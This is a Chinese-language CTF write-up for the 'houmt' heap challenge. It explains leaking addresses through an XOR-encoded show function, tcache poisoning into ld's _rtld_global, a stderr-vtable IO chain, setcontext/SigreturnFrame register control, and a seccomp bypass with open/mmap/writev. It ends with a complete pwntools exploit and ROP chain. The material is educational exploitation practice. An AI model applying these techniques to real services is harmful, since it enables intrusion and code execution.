houmt
最近没有什么时就想着复现一下winnt师傅的awdp,不得不说winnt师傅真强,大一出的题就这么难
泄露地址
这个show中打印规则每次打印一个字节且是经过两次异或后的及结果,也可以是看作一次异或,因为第二次异或是和0异或,第一次异或是和下一个字节,也就是说如果heap中存放的数据是0xabcd打印数据从低到到是 d^c , c^b ,b^a, a^0
一些检查&&保护
在add中做了一个检查,导致无法申请有关libc的任何地址。也就说就绝了正常的io打法,更别说hook了
<getkeyserv_handle+576>: mov rdx,QWORD PTR [rdi+0x8]
<getkeyserv_handle+580>: mov QWORD PTR [rsp],rax
<getkeyserv_handle+584>: call QWORD PTR [rdx+0x20]
<getkeyserv_handle+587>: mov QWORD PTR [rbx],0x0
调用链&&攻击流程
就是利用uaf不断打一个tcache posioning 向
ld_base + ld.sym['_rtld_global'] + 0xf90
和ld_base + ld.sym['_rtld_global'] + 0xf90
输入数据同时利用
tcache_perthread_struct
的一个特性将在tcache_perthread_struct
中chunk
申请出来后,会将这个chunk的key
置空也就是chunk+8
处的地址,可以利用这一点去将stderr
的vtable
置空至于这个io链,这个也没有什么检查需要绕过只要保证vtable是违法的就行
_int_malloc
sysmalloc
__malloc_assert
__fxprintf
locked_vfxprintf
__vfprintf_internal
buffered_vfprintf
_IO_vtable_check
_dl_addr
call qword ptr [r13 + 0xf90]
(getkeyserv_handle+576
控制执行流的话也比较简单就是控制(
ld_base + ld.sym['_rtld_global'] + 0xf90
)中的值就行 (call
)
ld_base + ld.sym['_rtld_global'] + 0x978)
控制rdi
打orw的思路就是
控制
call
为getkeyserv_handle+576
(为了控制rdx
)控制
rdi
同时布局控制下一个call
为[setcontext'] + 61
,和利用SigreturnFrame()
控制寄存器下面就是执行
read
,想free_hook中输入orw,因为上面在SigreturnFrame()
中控制rsp
为free_hook
,read
执行完后就直接到orw向
ld_base + ld.sym['_rtld_global'] + 0x980)
输入的数据address = libc_base + libc.sym['__free_hook'] frame = SigreturnFrame() frame.rdi = 0 frame.rsi = address # rsi frame.rdx = 0x100 frame.rsp = address # rsp frame.rip = libc_base + libc.sym['read'] frame.r12=0xdeadbeef payload=p64(0xdeadbeef) payload+=p64(0xdeadbeef) # rdi payload += p64(ld_base + ld.sym['_rtld_global'] + 0x988) #rdx payload += p64(0)*2 payload += p64(libc_base + libc.sym['setcontext'] + 61) #[rdx+0x20] payload += bytes(frame)[0x28:]
dl_addr
可以看到
r13 + 0xf90
就是ld_base + ld.sym['_rtld_global'] + 0xf90
rdi
就是ld_base + ld.sym['_rtld_global'] + 0x978)
既然现在我们可以控制rdi了,利用下面这段代码控制rdx,在结合下面这个代码,就可以控制rdx
<getkeyserv_handle+576> mov rdx, qword ptr [rdi + 8] <getkeyserv_handle+580> mov qword ptr [rsp], rax <getkeyserv_handle+584> call qword ptr [rdx + 0x20
既然可以控制rdx了,那必须就要用
setcontext+61
处代码,而且我终于知道大佬们是怎么准确控制对应的寄存器,就是利用SigreturnFrame()
这个工具,里面的寄存器布局和setcontext+61
弹出的寄存器基本一致只要修改一下偏移就行了,bytes(frame)[0x28:]
绕过沙箱
禁用了
close
,pread64
,readv
,write
,pwrite64
,并且规定read
的第一个参数只能为0
,在加上close
也被禁用了利用思路
1、利用
open
打开flag
文件2、利用
mmap
将flag
映射到出来 (mmap(0x80000,0x1000,1,1,3,0)
)3、利用
writev
(writev(1,addr,1)
)这个addr不是0x80000,而是装有0x80000的地址
exp
from tools import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = process("./houmt")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")
def add(content):
io.sendlineafter("Please input your choice > ", b'1')
io.sendafter("Please input the content : \n", content)
def edit(idx, content):
io.sendlineafter("Please input your choice > ", b'2')
io.sendlineafter("Please input the index : ", str(idx))
io.sendafter("Please input the content : \n", content)
def free(idx):
io.sendlineafter("Please input your choice > ", b'3')
io.sendlineafter("Please input the index : ", str(idx))
def show(idx):
io.sendlineafter("Please input your choice > ", b'4')
io.sendlineafter("Please input the index : ", str(idx))
def quit():
io.sendlineafter("Please input your choice > ", b'5')
free_p=0x1ABF
show_p=0x1C26
edit_p=0x01A1F
add_read=0x193A
add_p=0x018AB
for i in range(8):
add("\n") # 0~7
free(0)
show(0)
leak = []
for i in range (5):
leak.append(u8(io.recv(1)))
leak[3]=leak[3]^leak[4]
leak[2]=leak[2]^leak[3]
leak[1]=leak[1]^leak[2]
leak[0]=leak[0]^leak[1]
heap=b''
heap+=p8(leak[0])
heap+=p8(leak[1])
heap+=p8(leak[2])
heap+=p8(leak[3])
heap+=p8(leak[4])
key=u64(heap.ljust(8,b'\x00'))
heap_base=key<<12
log_addr('heap_base')
for i in range(1, 6):
free(i)
free(7)
free(6)
show(6)
leak=[]
for i in range (6):
leak.append(u8(io.recv(1)))
print(leak[i])
leak[4]=leak[4]^leak[5]
leak[3]=leak[3]^leak[4]
leak[2]=leak[2]^leak[3]
leak[1]=leak[1]^leak[2]
leak[0]=leak[0]^leak[1]
libc_base=b''
libc_base+=p8(leak[0])
libc_base+=p8(leak[1])
libc_base+=p8(leak[2])
libc_base+=p8(leak[3])
libc_base+=p8(leak[4])
libc_base+=p8(leak[5])
libc_base=u64(libc_base.ljust(8,b'\x00'))-0x1e0c00
log_addr('libc_base')
ld_base = libc_base + 0x1ee000
edit(7, p64(key ^ (heap_base + 0xf0)))
add("\n") # 8
add(p64(0) + p64(0x111) + p64(0) + p64(heap_base + 0x100)) # 9
magic_gadget = libc_base + 0x14a0a0
add(p64(0) + p64(ld_base + ld.sym['_rtld_global'] + 0xf90)) # 10
a1=ld_base + ld.sym['_rtld_global'] + 0xf90
log_addr('a1')
add(p64(magic_gadget)) # 11
free(10)
add(p64(0) + p64(ld_base + ld.sym['_rtld_global'] + 0x980)) # 12
a2=ld_base + ld.sym['_rtld_global'] + 0x980
address = libc_base + libc.sym['__free_hook']
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = address # rsi
frame.rdx = 0x100
frame.rsp = address # rsp
frame.rip = libc_base + libc.sym['read']
frame.r12=0xdeadbeef
payload=p64(0xdeadbeef)
payload+=p64(0xdeadbeef) # rdi
payload += p64(ld_base + ld.sym['_rtld_global'] + 0x988) #rdx
payload += p64(0)*2
payload += p64(libc_base + libc.sym['setcontext'] + 61) #[rdx+0x20]
payload += bytes(frame)[0x28:]
add(payload) # 13
free(10)
add(p64(0) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0xd0)) # 14
io.sendlineafter("Please input your choice > ", b'1')
free(10)
add(p64(0) + p64(heap_base + 0xb10)) # 15
add(p64(0) + p64(0x88)) # 16
add("aaaaaaaa") # 17
debug(io,'pie',show_p,free_p,edit_p,add_read,add_p)
io.sendlineafter("Please input your choice > ", b'1') # 18
pop_rax_ret = libc_base + 0x44c70
pop_rdi_ret = libc_base + 0x121b1d
pop_rsi_ret = libc_base + 0x2a4cf
pop_rdx_ret = libc_base + 0xc7f32
pop_rcx_rbx_ret = libc_base + 0xfc104
pop_r8_ret = libc_base + 0x148686
syscall = libc_base + 0x6105a
orw_rop = p64(pop_rdi_ret) + p64(address + 0xd0)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(pop_rax_ret) + p64(2) + p64(syscall)
orw_rop += p64(pop_rdi_ret) + p64(0x80000)
orw_rop += p64(pop_rsi_ret) + p64(0x1000)
orw_rop += p64(pop_rdx_ret) + p64(1)
orw_rop += p64(pop_rcx_rbx_ret) + p64(1) + p64(0)
orw_rop += p64(pop_r8_ret) + p64(3)
orw_rop += p64(libc_base + libc.sym['mmap'])
orw_rop += p64(pop_rdi_ret) + p64(1)
orw_rop += p64(pop_rsi_ret) + p64(address + 0xd8)
orw_rop += p64(pop_rdx_ret) + p64(1)
orw_rop += p64(libc_base + libc.sym['writev'])
orw_rop += b'./flag\x00\x00' + p64(0x80000) + p64(0x50)
pause()
io.send(orw_rop)
io.interactive()
#0x157091
标签:ld,p64,houmt,libc,leak,base,orw
From: https://www.cnblogs.com/trunk/p/17589702.html